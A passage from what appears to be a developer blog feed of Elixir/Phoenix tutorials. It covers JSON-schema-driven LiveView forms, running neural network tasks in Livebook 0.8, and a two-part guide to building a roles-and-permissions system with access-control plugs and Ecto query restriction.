The second part of our hook handles the form submission. We intercept the form submission using an EventListener on the submit button. First, we validate the input against our JSON schema. If no errors exist, we send the data to the LiveView. Otherwise, we show the error messages on the form.

Note that we set the JSONEditor theme to tailwind. This will style our form using TailwindCSS utility classes. But if you start our server, you'll see that these classes have no effect. That's because Tailwind purges any unused classes by default and doesn't know that the JSONEditor uses these classes. You can easily tell Tailwind not to purge the classes used by the JSONEditor in your tailwind.config.js like this:

content: [
    "./vendor/*.js", // <- Add this line
    "./js/**/*.js",
    "../lib/*_web.ex",
    "../lib/*_web/**/*.*ex",
  ],

Now, Tailwind won't purge the classes used by the JSONEditor and our form should stay styled.

As a last step, we need to add the new hook to our LiveView. Add the following to your assets/js/app.js:

import JSONSchemaForm from "./hooks/json_schema_form";

let Hooks = {};
Hooks.JSONSchemaForm = JSONSchemaForm;

let liveSocket = new LiveSocket("/live", Socket, {
  params: { _csrf_token: csrfToken },
  hooks: Hooks // <- Add this
});

Now, all our frontend code is in place. Let's set up the LiveView next.

Add a JSON Schema

Our LiveView needs to do two things: Serve the JSON schema and validate form submissions. Let's start with the first part.

We already request the schema from our Phoenix Hook using the this.pushEvent("load-schema", ...) call. So, our LiveView needs an event handler that returns the schema for a given country code. Here's how:

defmodule DemoWeb.FormLive do
  use DemoWeb, :live_view

  def handle_event("load-schema", %{"code" => code}, socket) do
    {:reply, %{schema: schema(code)}, socket}
  end

  defp schema("GER") do
  # You'd probably load the schema from either your database
  # or a JSON file, but we'll simply hard-code it for now:
    %{
      "type" => "object",
      "title" => "Person",
      "properties" => %{
        "name" => %{
          "type" => "string",
          "title" => "Name",
          "minLength" => 3,
          "propertyOrder" => 0
        },
        "salary" => %{
          "title" => "Your Salary Expecations",
          "type" => "integer",
          "minimum" => 0,
          "maximum" => 1_000_000,
          "propertyOrder" => 1
        },
        "dob" => %{
          "type" => "string",
          "format" => "date",
          "title" => "Your Birthdate",
          "propertyOrder" => 2
        },
        "citizen" => %{
          "type" => "boolean",
          "format" => "checkbox",
          "title" => "Are you a Citizen of the country?",
          "propertyOrder" => 3
        }
      },
      "required" => ["name", "salary", "dob"]
    }
  end
end

Our LiveView fetches a JSON schema as a map and returns it using the :reply response. The this.pushEvent and :reply combination allows us to make a sync call from our client hook to the LiveView. I just wanted to showcase this behaviour, but usually you'd make an async request with this.pushEvent and this.handleEvent to fetch the schema. The downside of a sync call is that it blocks the frontend until the schema is fetched. An async request allows the page to fully load even before the schema is returned, which is a better UX.

If you look at the schema that we return, you see that we define four fields here. A name, salary expectation, date of birth, and citizenship. Each field has its own requirement which we'll validate later. I advise you to read the official documentation for JSON Schemas if you want to learn how to define properties. Let's see how the JSONEditor renders the schema:

Looking good already! Now to the second part: The validation.

When a user submits the form, the JSONEditor library validates the submission and shows any errors right there in the form. The user knows immediately which fields are wrong. Let's see how it looks like if the user submits invalid data:

Now, the user knows which fields to fix. Once the entered data is valid, the JSONEditor will send the data to the LiveView. Here, we need to validate the submission again, because we should never rely on client-side validation only. It's too easy to circumvent the client-side validation and submit corrupted data to the backend. We'll use the ExJsonSchema library to validate the submitted data in our LiveView. Let's have a look:

defmodule DemoWeb.FormLive do
  use DemoWeb, :live_view

  def mount(_params, _session, socket) do
    ref_schema = ExJsonSchema.Schema.resolve(schema())

    {:ok, assign(socket, :ref_schema, ref_schema)}
  end

  def handle_event("submit", params, socket) do
    ref_schema = socket.assigns.ref_schema

    case ExJsonSchema.Validator.validate(ref_schema, params) do
      :ok ->
        {:noreply, put_flash(socket, :info, "Success!")}

      {:error, _errors} ->
        {:noreply, put_flash(socket, :error, "Errors!")}
    end
  end

  # handle_event("load-schema"...)
  # defp load_schema(...)

end

When the JSONEditor library sends the data to the LiveView, we handle it in the "submit"-handler. To validate the submitted data, we need the schema as a reference. That's why we first resolve and assign the schema in our mount/3 callback. This simply translates the schema into a struct that the ExJsonSchema library understands.

In our event handler, we call the ExJsonSchema library with the data and the reference schema. It returns either :ok if the data is valid or {:error, errors} if not. Unfortunately, it's quite complex to show these errors below the invalid fields in the form unless we send an event to the JS hook and somehow inform the JSONEditor that there were errors. That's why we simply display an error message here. Luckily, the ExJsonSchema library "should" never return an error because the JSONEditor already validated the data. If you run into an error here, either the frontend library didn't do a good job at validating the input, or something funky happened.

And that's it! We successfully rendered a form based on a JSON schema and validated the submission. Great job!

Caveats

If you decide to implement this in your application, be aware of these caveats:

We load the JSONEditor code into our app.js bundle, but that means that the JS code is loaded on every page. That's not necessary, so when you implement it, rather load the editor only when needed with dynamic imports. See more here.

I used the JSONEditor library because it was easy to set up, but it isn't the most reliable. The client-side validation isn't perfect (e.g. dates can be empty although they are required) and it comes with a lot of things we don't need (e.g. to edit your submission in JSON format). For a production application, I would rather opt for a React-based library like Formik or Formio.

I styled the form using the Tailwind theme of the JSONEditor because it was quick and easy. However, this gives me no control over the style and I can't edit it. If you implement it, you better style the form inputs yourself. Otherwise, it's impossible to change e.g. the text color or input background.

You might have noticed that the properties in our JSON schema have a type and a format option. The type option defines in which format (smart!) the input is transmitted. The format defines how the property is displayed. So, a date format will still have a string type, because it's sent as a string to the backend although you entered it as a date string (e.g. 2022-12-31). Not all libraries support all types and all formats. Before choosing a client-side and backend library, better check the supported types and formats and test them in an example application.

Conclusion

Use Neural Networks in Livebook

2022-12-10T10:00:00Z

Hey folks, today we'll learn how to set up the latest Livebook version 0.8 and use the new Neural Network smart cell. You can find more information about this topic in the announcement here. Let's get started!

Install Livebook 0.8

First, we need to update our local Livebook installation. If you haven't installed Livebook yet, please follow this installation guide.

I typically install and update Livebook as escript like this:

mix do local.rebar --force, local.hex --force
mix escript.install hex livebook

# If you use ASDF, don't forget to reshim Elixir
asdf reshim elixir

Run this code and it will automatically install or upgrade to the lastest Livebook version. You can check our Livebook version with: livebook -v. It should say 0.8.0.

Once you installed Livebook, start it with: livebook server. This will output a URL to localhost:8080 where you can access your Livebook app. Navigate to it and create a new Livebook somewhere in your file system.

The Neural Network Smart Cell

Let's create a new Neural Network smart cell. Click on the + Smart button and choose Neural Network Task like this:

Livebook will ask you whether it should add the required dependencies for the Neural Network smart cell, kino_bumblebee and exla. Choose Add and restart and let Livebook install the dependencies. Since it will download a pre-compiled version of EXLA, it might take a few minutes. The output will look like this:

Set up CUDA

Before we download the Neural Network models, please check whether your computer has a supported NVIDIA graphics card. A graphics card will speed up any calculation significantly.

If you do, please follow EXLA's guide for choosing the XLA_TARGET. You will need to install the correct CUDA version for your graphics card. After installing CUDA, set the correct XLA_TARGET environment variable like this:

If you don't have a supported NVIDIA graphics card, don't worry. You can also use the Neural Networks on your CPU, but it will be slow. For example, I use a MacBook with an M1 CPU and it takes around 5 minutes to generate two images with Stable Diffusion. All other tasks, like text generation, finish within a few seconds though. So, it will be slow, but it will work!

Now that we have everything set up, let's start using some Neural Networks!

Text-to-Image

For me, the coolest application of Neural Networks is Text-to-image generation. Bumblebee offers the Stable Diffusion network for this use case. Let's generate some images!

To set it up, first select Task: Text-to-image and Using: Stable Diffusion (v1.4). Then, hit Evaluate above the smart cell. This will download the stable diffusion model from HuggingFace. Since the model is around 6GB, it will take a while. Make yourself a coffee, walk the dog, or - if you live in Germany 🇩🇪 - simply give up.

After the download is complete, you can enter a prompt and hit Run. This will take a while! For me, it takes around 5min to generate two images on a 13" MacBook Pro with an M1 Apple Chip and 600% CPU load. So, stare outside your window for a bit and wait for Stable Diffusion to do its magic.

I used lexica.art to find inspiration for a prompt and hit Run. This is the result. Pretty cool, right?

Text Generation

Now, let's generate some text. Change the task of your smart cell to Text generation and choose the GPT2 (base) model. Hit Reevaluate and let Bumblebee download the GPT2 base model. The model is around 600MB, so it will take a few minutes. Once the download is complete, enter some text and hit Run. GPT2 will then add words to your input.

You can define how many words GPT2 should add by increasing the Max new tokens count. Don't forget to hit Reevaluate on the smart cell before hitting Run though! Otherwise, GPT2 will ignore your new config.

Text Classification

Text Classification is useful to calculate the "mood" of a text. Let's try it next.

Change the task of your smart cell to Text classifiation and the model to RoBERTa (BERTweet) - emotion. Hit Evaluate. The chosen model is around 550MB, so again, stare outside your window and wonder whether there's a limit to how much you can love Elixir.

Once the model is available, enter a text you want to classify and hit Run. It will show you how high the text scores on a range of "emotions".

Image Classification

The last task that Bumblee supports is the Image Classification task. Basically, you give it a picture of a dog and it tells you that it's indeed a dog. Amazing.

To set it up, select Image Classification and a model like e.g. ResNET. Hit Evaluate. The ResNET model is around 100MB which my Dutch Gigabit internet connection downloads in only a few seconds. I'm not bragging though. I'm just pointing out that this isn't Germany 🇩🇪.

Aaaaanyways. After the download is complete, you can simply drag-n-drop or select an image that you'd like to have classified. I - of course - chose a bumblebee.

Convert to Code

Playing around with the smart cell is great fun, but at one point you might ask yourself how you could integrate the Neural Network into your Phoenix application and make it available to your users. Thankfully, Livebook got you covered!

Choose the task and neural network that you'd like to use and hit the Convert to Code cell button above your smart cell. You'll see a warning that this action is irreversible, but that's alright because - of course - we engineers always know exactly what we're doing.

After clicking the Convert to Code cell button, Livebook will show you the raw code of your smart cell. The first part is for setting up the neural network and the second part is for handling user input.

You can now copy this code into your Elixir application and deploy it directly to production! Mind-blowing isn't it?!

If you don't want to "destroy" your smart cell, you can click Toggle source instead. This will reveal the code of the smart cell, but keep the smart cell intact.

Cleaning up

If you change the task of your smart cell back to e.g. Text-to-image and hit Reevaluate, you'll notice that Livebook doesn't download the 6GB StableDiffusion model again. That's because Bumblebee caches the models. So, it stores the models on your computer and loads them from there instead of downloading the models every time anew.

This is very smart, but can fill up your hard drive pretty quickly if you download a lot of models. You can find and delete the cached neural network models in your user_cache. These are the typical locations for different operation systems:

Linux:   /home/YOUR_NAME/.cache/bumblebee/huggingface
macOS:   /home/YOUR_NAME/Library/Caches/bumblebee/huggingface
Windows: /Users/YOUR_NAME/AppData/Local/bumblebee/Cache/huggingface

Conclusion

And that's it! I hope you liked this article. If you have questions or comments, let's discuss them on BlueSky. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post.

Build a Roles and Permissions System for Phoenix - Part 2

2022-12-05T08:00:00Z

Hey folks, this is the second part of a mini-series about building a roles and permissions (RAP) system for Phoenix. If you haven't read the first part yet, please go here and read it first :)

In the first post of this mini-series, we learned how to implement basic permissions for your schemas, how to group them into roles, and how to assign the roles to our users. We used the role to check a user's permissions in our Phoenix Controllers. Our controllers lie at the outer bounds of our system and adding the permission checks here is a good first step, but we can do better.

The second security layer of our RAP will be the restriction of queries. This layer aims to prevent data leaks by filtering out query results that the user shouldn't see. What the user shouldn't see depends on your use case, but we will implement two restrictions as an example:

For external users, our queries should return only the data that belong to the requesting user.
For internal users, our queries should hide the data of other internal users. Only special internal users (e.g. HR Managers) are allowed to see such data. Internal users can see the data of all external users though.

For example, customers of our company (external users) should only see their own invoices and addresses, but a customer support employee (internal user) should be able to see the invoices of all customers and their addresses. That employee shouldn't see the addresses of other internal users though, only special internal users (e.g. HR Managers) can do so.

This post is inspired by the work of my brilliant (ex-)colleagues Lucas, Antonio, and Vitor who built the RAP we use here at Remote. If you like my posts, maybe consider working with me since my team is hiring :)

Okay, that's enough theory. Let's write some code!

Create the Roles

Let's first define the roles of our users. In part 1, we created some DefaultRoles. Let's replace them with these:

defmodule Demo.DefaultRoles do
  def all() do
    [
      %{
        name: "HR Manager",
        permissions: %{
          "addresses" => ["read", "update", "delete"]
        },
        data_scope: :internal
      },
      %{
        name: "Customer Support Employee",
        permissions: %{
          "addresses" => ["read"]
        },
        data_scope: :external_all
      },
      %{
        name: "Customer",
        permissions: %{
          "addresses" => ["read", "update", "delete"],
          "invoices" => ["read"]
        },
        data_scope: :external_one
      }
    ]
  end
end

If you read part 1, you're familiar with the permissions field and what it means. If not, please go back and read part 1 :)

As you might have spotted already, we extended our roles by a new field called data_scope. It defines, well, the scope of the data that a user with this role is allowed to see. For our customers, this scope is external_one, meaning that they can only see the invoices and addresses of a single external user, namely themselves. Our customer support employees get the external_all scope, which means they can query the addresses of all external users. Our HR managers can query all internal addresses, but not our customer's addresses.

Configure the User

Before we can restrict the queries, we need a way to track which "group" a user belongs to. Let's add a group field to the user.ex schema to distinguish between internal and external users:

defmodule Demo.User do
  schema "users" do
    field(:group, Ecto.Enum, values: [:internal, :external]))
    # other fields
  end
end

With the new group field in place, we can easily filter out internal or external users depending on the data scope access a user has. Neat! Let's see how to set up these restrictions next.

Set up the Repo

We will use Ecto.Repo's prepare_query/3 callback to restrict the queries. This callback is executed before any query is run through our Repo. This is the perfect place to restrict our queries because it will catch every single one of them! This method was inspired by the Multi-tenancy docs of Ecto.

Let's implement a prepare_query/3 callback that restricts a query based on the data_scope option. It will look something like this:

defmodule Demo.Repo do
  use Ecto.Repo,
    otp_app: :demo,
    adapter: Ecto.Adapters.Postgres

  require Ecto.Query

  @data_scope_key {__MODULE__, :data_scope}
  @user_id_key {__MODULE__, :user_id}

  def put_data_scope(data_scope) do
    Process.put(@data_scope_key, data_scope)
  end

  def get_data_scope() do
    Process.get(@data_scope_key)
  end

  def put_user_id(user_id) do
    Process.put(@user_id_key, user_id)
  end

  def get_user_id() do
    Process.get(@user_id_key)
  end

  @impl true
  def default_options(_operation) do
    [data_scope: get_data_scope(), user_id: get_user_id()]
  end

  @impl true
  def prepare_query(_operation, query, opts) do
    cond do
      opts[:schema_migration] || opts[:data_scope] == :ignore ->
        {query, opts}

      data_scope = opts[:data_scope] ->
        # RESTRICT THE QUERY HERE

      true ->
        raise "expected data_scope to be set"
    end
  end
end

We extended our Demo.Repo with a few functions. Let's go through them.

First, we implemented a prepare_query/3 callback that checks if the data_scope field was set and raises an exception otherwise. It allows an automatic override for migrations that run by default with the schema_migration: true option. We also added a manual override with opts[:data_scope] == :ignore. This manual override comes in handy for our test setup and seeds.exs script. When we write tests, we probably don't want to worry about satisfying our query restrictions (but this is up to you to decide). Setting up every test just right would become harder and harder the more restrictions we implement, so we will just disable the query restrictions for all tests unless we explicitly activate them. This only applies to our tests though. If we forget to set the data scope in production, the prepare_query/3 will raise an exception and block the query.

We can easily set the data_scope field using the put_data_scope/1 function. This stores the value in the process dictionary using Process.put/2. This way, we can easily set the data scope in our Phoenix controllers and retrieve the value once we execute a query caused by the request. No need to pass the current_user struct all the way from the controller to every query we execute. Every request spawns its own process, so we don't have to worry about deleting the value after a request completes since the process gets killed and cleaned up automatically.

For our customers with the :external_one scope, we'll need to store their user_id so that we can limit the query to only their data. We'll use the put_user_id/1 and get_user_id/1 functions for that.

However, if we call put_data_scope/1 or put_user_id/1, Ecto won't pass the values to the prepare_query/3 automatically. We need to add the fields to the default_options/1 callback ourselves. This ensures that we fetch the :data_scope and :user_id values just before our query is executed.

Now, if you add this code to your project and run your tests, probably all of them will fail. That's because we haven't disabled the query restrictions in our tests yet. Let's fix this in our ConnCase and DataCase helpers like this:

defmodule Demo.DataCase do

  # using do ...

  setup tags do
    Demo.DataCase.setup_sandbox(tags)
    Demo.Repo.put_data_scope(:ignore) # <- Add this line

    :ok
  end
end

defmodule DemoWeb.ConnCase do

  # using do ...

  setup tags do
    Demo.DataCase.setup_sandbox(tags)
    Demo.Repo.put_data_scope(:ignore) # <- Add this line

    {:ok, conn: Phoenix.ConnTest.build_conn()}
  end
end

These two lines of code will prompt the Repo to ignore the query restrictions by default when we run our tests. We can't forget about our seeds.exs script though. It should also ignore the query restrictions. Add the following command to your seeds.exs:

Demo.Repo.put_data_scope(:ignore) # <- Add this line

for role <- default_roles do
  unless Demo.RAP.get_role_by_name(role.name) do
    {:ok, _role} = Demo.RAP.create_role(role)
  end
end

Now, set up your repo and run your tests again. They should succeed. We successfully disabled the check in prepare_query/3 for all existing tests. Yey!

Okay, we set up the basics for restricting our queries, but two more steps are missing: We need to set the data scope based on the role of the requesting user and we need to actually restrict our query. Let's start with the first.

Set the Data Scope

We want to set the data_scope and user_id fields at the top of our controllers. We could create a dedicated plug to do so, but I'll reuse the existing CheckPermissions plug for this. Setting the data scope and user_id takes only two lines of code. See here:

defmodule DemoWeb.Plugs.CheckPermissions do

  # imports and init/1

  def call(conn, opts) do
    user = get_user(conn)
    required_permission = get_required_permission(conn, opts)

    if Permissions.user_has_permission?(user, required_permission) do
      Demo.Repo.put_data_scope(user.role.data_scope) # <- Add this line
      Demo.Repo.put_user_id(user.id) # <- Add this line
      conn
    else
      conn
      |> put_status(:forbidden)
      |> halt()
    end
  end

  # Private functions
end

Now, we set the data scope after checking the permissions of a user. Again, every request spawns a new process and we set the data_scope field on that process and that process alone. Thanks to the actor model of the BEAM, the data scope of one user won't interfere with the data scope of another. Neat!

Now onto the last step: Actually restricting the query.

Restrict the Query

Restricting the query is the easy part. All we want is to add a simple where: user.group == :external or where: user.id == ^user_id statement to the query. Let's do that next:

defmodule Demo.Repo do

  # get/put_data_scope and get/put_user_id

  @impl true
  def prepare_query(_operation, query, opts) do
    cond do
      opts[:schema_migration] || opts[:data_scope] == :ignore ->
        {query, opts}

      data_scope = opts[:data_scope] ->
        {restrict(query, data_scope, opts), opts} # <- Add this line

      true ->
        raise "expected data_scope to be set"
    end
  end

  # Add these functions here or move them to a dedicated handler for the address schema
  defp restrict(%{from: %{source: {"addresses", _module}}} = query, data_scope, opts) do
    do_restrict(query, data_scope, opts)
  end

  defp do_restrict(query, :internal, _opts) do
    from(address in query,
      left_join: user in assoc(address, :user),
      where: user.group == :internal
    )
  end

  defp do_restrict(query, :external_all, _opts) do
    from(address in query,
      left_join: user in assoc(address, :user),
      where: user.group == :external
    )
  end

  defp do_restrict(query, :external_one, opts) do
    user_id = Keyword.fetch!(opts, :user_id)

    from(address in query,
      left_join: user in assoc(address, :user),
      where: user.group == :external and user.id == ^user_id
    )
  end
end

We extended our Repo with one query restriction for each data scope. In restrict/3, we pattern match against the schema name that is queried. In this case, we only handle queries for the address schema. If a requesting user has the :internal data scope, we limit the data to only internal users by extending the query with where: user.group == :internal. We do the same for external_all and external_one data scopes.

We have now successfully restricted all queries for the address schema to only users of the correct user group! Nice! This concludes the basic setup of the query restrictions.

Caveats

The setup above will get you started. Once you extend the RAP above, you'll run into a few problems though. I'll explain some of them and their solutions next.

Named Binding exists already

In the do_restrict/3 functions above, I assumed that the users schema wasn't joined to the address schema yet. This won't always be the case though. A safer solution is to check whether a named binding for the user schema already exists before joining the user again. Here's how you can check for that:

defp restrict(%{from: %{source: {"rap_addresses", _module}}} = query, data_scope, opts) do
  {binding, query} = ensure_binding(query, [:user, :users])
  do_restrict(query, binding, data_scope, opts)
end

defp ensure_binding(query, keys) do
  case Enum.find(keys, fn key -> has_named_binding?(query, key) end) do
    nil -> add_binding(query, keys)
    key -> {key, query}
  end
end

defp add_binding(query, [key | _rest]) do
  query = join(query, :left, [a], user in assoc(a, :user), as: ^key)
  {key, query}
end

defp do_restrict(query, binding, :internal, _opts) do
  from([{^binding, user}] in query, where: user.group == :internal)
end

The ensure_binding/2 function will check whether the query already has a named binding based on a list of possible keys. It joins the user schema into the query if not and returns the query and the key for the named binding. Note that this will only work if you joined the user with a as: named binding like this: join: user in assoc(a, :user), as: :user. If you join the user, but without named binding, we'll still join the user again in this case. You can extend ensure_binding by also checking the query.joins. This will also include unnamed bindings.

Create Restriction Modules

We added restrictions for the address schema above, but even that required ~35 lines of code already. If you want to add restrictions for other schemas as well, I'd advise moving them into their own modules like this:

defmodule Demo.Restrictions.Address do
  def restrict(%{from: %{source: {"addresses", _module}}} = query, data_scope, opts) do
    # call do_restrict/3
  end

  def restrict(query, _data_scope, _opts), do: query
end

defmodule Demo.Repo do
  @handlers [
    Demo.Restrictions.Address,
    # Other restrictions
  ]

  # Other functions

  defp restrict(query, data_scope, opts) do
    Enum.reduce(@handlers, query, fn handler, acc -> handler.restrict(acc, data_scope, opts) end)
  end

This way, you can loop through every handler and restrict the query specifically for the schema of the handler. A setup like this makes it easy to add or remove restrictions.

Conclusion

This concludes the second and last part of the RAP mini-series! I hope you enjoyed the articles! Thanks again to my dear colleagues Lucas, Vitor, and Antonio for their brilliant work and support. If you have questions or comments, let's discuss them on BlueSky. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:

Build a Roles and Permissions System for Phoenix - Part 1

2022-12-04T08:00:00Z

Hey folks, before we begin:

Salespeople can be persistent, can't they?
The other day, one tried to sell me a coffin.

I told him that's the last thing I need!

Anyways. Today, we'll look into how to set up a basic roles and permissions (RAP) system with Phoenix and Ecto. I got this idea from my dear ex-colleague Lucas and my current colleagues Vitor and Antonio, who built the backend part of our RAP system here at Remote. Their work was pretty brilliant and I wanted to share the basic building blocks of the system they implemented. If you like my posts, maybe consider working with me since my team is hiring :) Let's get started.

What's a RAP?

A role and permission system controls which user can see what data based on the user's role and the role's permissions. For example, a user with the Invoice Admin role can see invoices and basic info about an invoiced company. But they can't see the addresses of the company's employees. On the other hand, a user with the Customer Support role can see the addresses of the company's employees, but can't see the company's invoices. You get the point.

Building a RAP is inevitable once your company grew to a certain size. The more people you employ, the higher the chance that having access to everyone's data might be abused. It is also a security risk because an attacker can target any of your users. Once a user is compromised, the attacker gains access to all your data, often without the knowledge of your user. To reduce the attack surface, you usually limit everyone's access to the utmost necessary, which is called the Principle of Least Privilege. Now, if a user is compromised, the attacker gains access only to a small part of your data. Having a RAP in place also becomes mandatory once you have to comply with privacy laws like the GDPR.

What does a RAP do?

Our RAP will have two functions: Access Control and Query Restriction. Access Control is a basic Is the user allowed to perform that action on this resource? validation. If yes, we let the request pass. If not, then we block the request. For example, an Invoice Admin is allowed to read invoices whereas a Customer Support Employee isn't. But whereas a Customer Support Employee is allowed to read addresses, they can't delete them. A Customer Support Admin, however, is allowed to both read and delete addresses. So, access control verifies the user's general "access" to a resource, but also the action that a user wants to perform on the resource.

Query Restriction is a bit more complicated. A user might have permission to access a resource but shouldn't see all the data related to that resource. Imagine that you build a payroll service and store the salaries of internal and external employees in the same table. Internal employees need to see the salaries of external employees to do customer support. But you don't want them to see the salaries of their colleagues maybe. So, although an internal employee has access to the salary resource, they should only see the external salaries in the table. Our RAP should filter out the data belonging to internal employees automatically.

This blog post covers the first function, Access Control. I'll cover the second function, Query Restriction, in a later blog post. But now, let's start building!

Set up the RAP

Our RAP will have three parts: The user, the role, and permissions. We will store the permissions as JSON-map on the role and user schemas instead of creating a separate database schema for them. This saves us from preloading a long list of permissions whenever a user makes a request, but feel free to implement it differently. Let's have a look at the User schema:

defmodule RAP.User do
  use Ecto.Schema
  import Ecto.Changeset

  schema "users" do
    has_one(:address, RAP.Address)

    belongs_to(:role, RAP.Role)
    field(:custom_permissions, :map, default: %{})

    timestamps()
  end

  @doc false
  def changeset(user, attrs) do
    user
    |> cast(attrs, [:role_id, :custom_permissions])
    |> validate_required([:role_id])
    |> RAP.Permissions.validate_permissions(:custom_permissions)
  end
end

Our User schema has an address and two RAP-related fields, the role and custom_permissions. A role is a group of permissions that we can define once and then assign to multiple users. Roles are good for grouping and assigning multiple permissions at once, but sometimes they are too static.

What if a user needs just one more permission to do their job? If you create a special role for that one user you might end up with special roles like Tony from Accounting Special Role DONT TOUCH Final Final 2. That doesn't seem right. Instead, you could assign individual permissions directly to the user as custom permissions.

This way, Tony can have the role of an Accounting Admin, but also have that special permission he needs to do his job better. Be aware that more flexibility also comes with more complexity and potential problems. What if nobody remembers anymore why Tony from Accounting has all these specific permissions? What if an attacker gets access to his account? What if people start assigning permissions directly instead of using roles? You see, many things can go wrong. My advice would be to start with roles only and maybe extend to custom permissions once enough people requested it. But let's move back to our User schema now.

Note the call to RAP.Permissions.validate_permissions/2 in our changeset. When we set custom permissions on a user, we want to make sure that the permissions are valid and in the correct format. Our Permissions module will check that for us. Let's have a look at it next:

defmodule RAP.Permissions do
  import Ecto.Changeset

  def all() do
    %{
      "invoices" => ["create", "read", "update", "delete"],
      "addresses" => ["read", "update", "delete"]
    }
  end

  def validate_permissions(changeset, field) do
    validate_change(changeset, field, fn _field, permissions ->
      permissions
      |> Enum.reject(&has_permission?(all(), &1))
      |> case do
        [] -> []
        invalid_permissions -> [{field, {"invalid permissions", invalid_permissions}}]
      end
    end)
  end

  def has_permission?(permissions, {name, actions}) do
    exists?(name, permissions) && actions_valid?(name, actions, permissions)
  end

  defp exists?(name, permissions), do: Map.has_key?(permissions, name)

  defp actions_valid?(permission_name, given_action, permissions) when is_binary(given_action) do
    actions_valid?(permission_name, [given_action], permissions)
  end

  defp actions_valid?(permission_name, given_actions, permissions) when is_list(given_actions) do
    defined_actions = Map.get(permissions, permission_name)
    Enum.all?(given_actions, &(&1 in defined_actions))
  end
end

Let's unpack this. Our Permissions module is the heart of our RAP system. It defines all possible permissions and their valid actions in all/0. For example, we defined two permissions so far. One for the resource invoices and one for addresses. Our Permissions module defines all allowed actions for each permission. So, although a user could create, read, update, and delete invoices, no user could ever create or update addresses, maybe because we're autogenerating them from e.g. contracts or an external service.

The function validate_permissions/2 is a helper to use in our User and Role schema changesets. It checks whether a given set of permissions are valid. That means that their resource and actions were defined in all/0. We'll discuss use cases for this later.

Let's have a look at the last part of our RAP next, the Role schema:

defmodule RAP.Role do
  use Ecto.Schema
  import Ecto.Changeset

  schema "roles" do
    field(:name, :string)
    field(:permissions, :map)

    has_many(:users, RAP.User)

    timestamps()
  end

  @doc false
  def changeset(role, attrs) do
    role
    |> cast(attrs, [:name, :permissions])
    |> validate_required([:name, :permissions])
    |> unique_constraint(:name)
    |> validate_at_least_one_permission()
    |> RAP.Permissions.validate_permissions(:permissions)
  end

  defp validate_at_least_one_permission(changeset) do
    validate_change(changeset, :permissions, fn field, permissions ->
      if map_size(permissions) == 0 do
        [{field, "must have at least one permission"}]
      else
        []
      end
    end)
  end
end

Our Role schema has a unique name and a map of permissions. It must have at least one permission, otherwise, the role shouldn't exist. It also uses RAP.Permissions.validate_permissions/2 to validate that all permissions are valid before persisting them.

But what's a "Role" and how can we use it? Let's define some default roles for our system to understand them better:

defmodule RAP.DefaultRoles do
  def all() do
    [
      %{
        name: "Invoice Admin",
        permissions: %{
          "invoices" => ["create", "read", "update", "delete"]
        }
      },
      %{
        name: "Customer Support Admin",
        permissions: %{
          "invoices" => ["read"],
          "addresses" => ["read", "delete"]
        }
      },
      %{
        name: "Customer Support Employee",
        permissions: %{
          "addresses" => ["read"]
        }
      }
    ]
  end
end

Our DefaultRoles module defines three roles with which we'll seed our database. The Invoice Admin role has access to all invoices and any user who has that role can create, read, update, and delete invoices. An Invoice Admin doesn't have access to the addresses in the system, but a Customer Support Admin does. The Customer Support Admin can only read invoices, but not create, update, or delete them. Our Customer Support Employee has no access to invoices and can only read the user's address.

You see that we can use the RAP to define specific roles that mirror the "real-world" roles of our users. We can further fine-tune each role by defining its permissions and the actions it can take on the resources connected to the permissions. Usually, our permissions are 1-to-1 related to the resources of our system. You can create composite permissions which allow access to multiple resources, but it's not advised. You would lose granularity and add more complexity to your RAP system.

Okay, this is all nice and well, but how do you use it?

Use the RAP

The first step of adding the RAP to your system is to seed its default roles to our database. In our seeds.exs file, we'll add:

for role <- RAP.DefaultRoles.all() do
  unless RAP.get_role_by_name(role.name) do
    {:ok, _role} = RAP.create_role(role)
  end
end

This checks that our default roles exist in the database whenever we start our application. Now, we can strat assigning the roles to individual users, like this:

defmodule RAP.Users do
  def add_role_to_user(user, role_name) do
    with {:ok, role} <- get_role_by_name(role_name) do
      update_user(user, %{role_id: role.id})
    end
  end

If a user needs additional permissions, we can add them to the user's custom_permissions like this:

defmodule RAP.Users do

  # add_role_to_user/2

  def add_custom_permission_to_user(user, name, actions) do
    custom_permissions = Map.put(user.custom_permissions, name, actions)
    update_user(user, %{custom_permissions, custom_permissions})
  end
end

From now on, the user will have a certain role and custom permissions! Easy peasy.

But how can we use these to achieve our actual goal, Access Control? Let's create a Phoenix controller for our addresses and find out!

defmodule RAPWeb.AddressController do
  use RAPWeb, :controller

  plug(RAPWeb.Plugs.CheckPermissions,
    actions: [
      index: {"addresses", "read"},
      show: {"addresses", "read"},
      delete: {"addresses", "delete"}
    ]
  )

  def index(conn, _params_) do
    # Fetch and return all addresses
  end

  def show(conn, %{"id" => address_id}) do
    # Fetch and return address
  end

  def delete(conn, %{"id" => address_id}) do
    # Delete address
  end
end

The AddressController is where we set up our Access Control. Aside from creating three endpoints, the controller defines the permission necessary to use each endpoint. If a user doesn't have that permission, we return an error. We moved that check to our CheckPermissions plug so that we can reuse it in other controllers as well. Let's have a look at that plug next:

defmodule RAPWeb.Plugs.CheckPermissions do
  import Plug.Conn
  import Phoenix.Controller, only: [action_name: 1]

  alias RAP.Permissions
  alias RAP.Repo

  def init(opts), do: opts

  def call(conn, opts) do
    user = get_user(conn)
    required_permission = get_required_permission(conn, opts)

    if Permissions.user_has_permission?(user, required_permission) do
      conn
    else
      conn
      |> put_status(:forbidden)
      |> halt()
    end
  end

  defp get_user(conn) do
    user = conn.assigns.current_user
    Repo.preload(user, :role)
  end

  defp get_required_permission(conn, opts) do
    action = action_name(conn)

    opts
    |> Keyword.fetch!(:actions)
    |> Keyword.fetch!(action)
  end
end

Whenever a user makes a request to our AddressController, Phoenix invokes CheckPermissions.call/2 first. Here, we first fetch the current_user and preload its role. We then retrieve the required permission which we defined in our controller. If we forgot to define a permission, the Keyword.fetch!/2 call raises an exception and stops the request.

We don't want to spread our permissions logic all over our application, so we moved the permission checking to our Permissions module again. It simply checks whether a user's role or custom_permissions contain the required permission. If yes, the request hits our controller endpoint and executes the action. If not, we block the request and add a 403 (forbidden) error to it. Let's have a look at the last part, the Permissions.user_has_permission?/2 check:

defmodule RAP.Permissions do

  # Other code

  def user_has_permission?(user, permission) do
    has_permission?(user.role.permissions, permission) ||
      has_permission?(user.custom_permissions, permission)
  end
end

Our user_has_permission?/2 function checks whether a given user has the required permission in either its role permissions or its custom permissions.

